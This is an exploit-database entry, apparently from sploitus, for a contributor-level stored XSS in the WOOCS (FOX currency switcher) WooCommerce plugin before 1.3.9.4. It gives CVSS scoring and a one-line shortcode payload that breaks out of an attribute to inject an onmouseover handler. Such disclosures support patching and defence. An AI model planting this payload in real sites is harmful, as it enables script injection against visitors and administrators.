Exploit for WOOCS < 1.3.9.3 - Contributor+ Stored XSS

wpexploit · 2022-12-20

Description

WOOCS version 1.3.9.3 Contributor+ Stored XSS exploi

Pluginus Fox - Currency Switcher Professional For Woocommerce< 1.3.9.4

5.4

MEDIUM SEVERITY

Version 3.1

VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Attack Vector:NETWORK

Attack Complexity:LOW

Privileges Required:LOW

User Interaction:REQUIRED

Scope:CHANGED

Confidentiality:LOW

Integrity:LOW

Availability:NONE

0.5%higher than 38.8% of all CVEs

Updated 2026-06-16

Modified:2022-12-21 01:14

Last Seen:2023-01-25 02:41

Reporter:Lana Codes

MARKDOWN2 lines

## https://sploitus.com/exploit?id=WPEX-ID:C7D12FD4-7346-4727-9F6C-7E7E5524A932
[woocs_show_custom_price value='1" onmouseover="alert(/XSS/)"']